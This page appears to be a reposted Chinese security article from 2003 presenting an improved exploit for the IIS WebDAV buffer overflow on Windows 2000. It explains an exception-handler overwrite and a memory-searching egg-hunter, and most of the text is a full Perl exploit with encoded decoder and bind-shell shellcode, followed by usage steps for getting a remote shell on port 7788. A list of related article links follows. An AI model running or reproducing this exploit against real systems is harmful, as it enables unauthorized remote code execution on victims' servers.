【分析】通用的攻击WebDAV漏洞的方法
来源:互联网 发布:激光切割编程软件g代码 编辑:程序博客网 时间:2024/06/09 20:46
通用的攻击WebDAV漏洞的方法
创建时间:2003-03-29
文章属性:原创
文章来源:http://www.xfocus.net
文章提交:isno (isno_at_sina.com)
by isno
前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的字符串缓冲溢出攻击技术》文章仔细看了一下,发现WebDAV漏洞原来也可以用jmp ebx地址作为返回地址来利用的。用这种方法,我又写了一个exploit程序,果然成功率提高了一些。
首先,我们使用一个符合UNICODE转换的含有jmp ebx或者call ebx指令的地址来覆盖异常处理指针,这样发生异常以后会返回到前面4个字节处执行。我们就在地址前放上两个可以执行的指令0x51(push ecx)0x59(pop xxxx),这样保证可以正常的跳过返回地址。然后在后面放上一段解码指令,可以直接解码后面的可显示字符。这是一段搜索内存的代码,从内存中搜索到真正的shellcode,然后就跳到真正的shellcode去执行。
具体的方法可以参见袁哥以前写的文章:
http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=646
搜索shellcode的代码如下:
add esi, 1000h
jmp loadmem
lookupN:
add esi, 4000h
loadmem:
mov eax, [esi]
cmp eax, 4e4e4e4eh ;搜索含NNNN的内存,提高搜索效率
jnz lookupN
add esi, 4
lookupYXYX:
mov al, byte ptr [esi]
inc esi
cmp al, 59h ;在后面搜索YXYX,这是我们放在shellcode前面用来定位的
jnz lookupYXYX
mov al, byte ptr [esi]
inc esi
cmp al, 58h
jnz lookupYXYX
lodsw
cmp ax, 0x5859
jnz lookupYXYX
jmp esi ;搜索到以后就跳到shellcode去执行
当然首先要把异常处理给接管了,这样搜索到不存在的页面的时候可以仍然跳回我们自己的程序去执行。
修改以后的exploit程序如下:
-------------------------------------------------------------------
#!/usr/bin/perl
#use call ebx as the ret
#tested on CHINESE win2k sp2&sp3
#by isno@xfocus.org
use IO::Socket;
if ($#ARGV<1){die "webdavx.pl IP offset/r/noffset: 0-7/r/n";}
$host = @ARGV[0];
$port = 80;
$offset = @ARGV[1];
$decode =
"%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f".
"%u66ad%u4e3d%u7400%u9023%u612c%u5090%u6659%u90ad".
"%u612c%u548d%u7088%u548d%u908a%u548d%u708a%u548d".
"%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3".
"%u6099";
#decoder code
#66 bytes
$sc =
"ffilomidomfafd".
"fgfhinhnlaljbeaaaaaalimmmmmmmmpdklojieaaaaaaipefpainlnpeppppppgekbaaaaaaaaijehai".
"geijdnaaaaaaaamhefpeppppppppilefpaidoiahijefpiloaaaabaaaoideaaaaaaibmgaabaaaaaol".
"agibmgaaeaaaaailagdneoeoeoeohfpbidmgaeikagegdmfjhfpjikagegdmfihfpcggknggdnfjfihf".
"okppogolpofifailhnpaijehpcmdileeceamafliaaaaaamhaaeeddccbbddmamdolomoihhppppppce".
"cecece";
#code to find the real shellcode
#340 byes
$num = 266+$offset;
$bf = "A" x $num;
$ret = "%u5951%u6858%u6772%u695c" x 8; #call ebx addr 0x695c6772
$n = 64842;
$buf = "N" x $n;
$tag = "YXYX";
$shell =
"/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90".
"/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa".
"/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36".
"/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97".
"/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14".
"/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2".
"/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14".
"/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5".
"/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1".
"/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16".
"/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68".
"/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1".
"/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94".
"/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4".
"/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68".
"/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57".
"/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4".
"/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4".
"/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5".
"/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68".
"/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67".
"/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1".
"/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf".
"/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab".
"/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0".
"/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4".
"/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0".
"/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56".
"/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7".
"/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57".
"/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4".
"/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f".
"/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xc0/xa4/x5e/xc6/xc7".
"/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68".
"/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f".
"/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75".
"/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0".
"/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5".
"/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2".
"/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6".
"/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97".
"/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc".
"/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb".
"/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97".
"/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2".
"/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4".
"/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97".
"/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2".
"/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97".
"/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97".
"/x68/x68/x68/x68";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @!/n";
print $socket "LOCK /$bf$ret$decode$sc$buf HTTP/1.1/r/n";
print $socket "Host: $host/r/n";
print $socket "Content-Type: text/xml/r/n";
print $socket "Content-length: 808/r/n/r/n";
print $socket "$tag$shell/r/n";
print "send buffer.../r/n";
print "telnet target 7788/r/n";
print "if fail, try other offset(0-7)/r/n";
#$socket->recv($buf,500);
#print $buf;
close($socket);
-------------------------------------------------------------------
使用方法是:
webdavx2.pl 192.168.0.1 0
然后telnet 192.168.0.1 7788试试看。
这里设了一个offset,因为发现有些机器取出的路径不太一样,有的是//?/C:/Inetpub/Gtmis0/asp/,而有的是//?/C:/Inetpub/wwwroot/,就是WWW的根目录。所以你从0试到7看看,如果还不行的话就试试-1,-2,-3......:)如果还没成功就算了。
- 【分析】通用的攻击WebDAV漏洞的方法
- Webdav漏洞ISNO方法的补充
- RPC漏洞的通用分析方法(图)
- RPC漏洞的通用分析方法
- RPC漏洞的通用分析方法
- WebDav漏洞简单分析及通用exploit设计
- 【实战】WebDav漏洞简单分析及通用exploit设计
- PHP程序的常见漏洞攻击分析
- PHP程序的常见漏洞攻击分析
- PHP程序的常见漏洞攻击分析
- PHP程序的常见漏洞攻击分析
- PHP程序的常见漏洞攻击分析
- PHP程序的常见漏洞攻击分析
- Firefox 16隐私漏洞的攻击方法
- WebDav远程溢出漏洞分析
- IIS 6 惊现 WebDAV 漏洞攻击
- 【实战】WebDav远程溢出漏洞分析
- 通用的PHP防注入漏洞攻击的过滤函数代码
- 【实战】WebDav漏洞简单分析及通用exploit设计
- Hibernate研究
- 【分析】MS RPC LOCATOR Service Exploit for win2k(new version)
- 在Linux中使用samba
- 结合struts和hibernate谈J2EE架构的数据表示
- 【分析】通用的攻击WebDAV漏洞的方法
- 【实战】WebDav远程溢出漏洞分析
- 在ASP中调用.NET的DLL
- 修改网卡的序列号
- 闲
- IT职场榜:软件工程师年薪11万
- 北京软件工程师正热 IT电信类人才需求复苏
- 批量插入
- select Control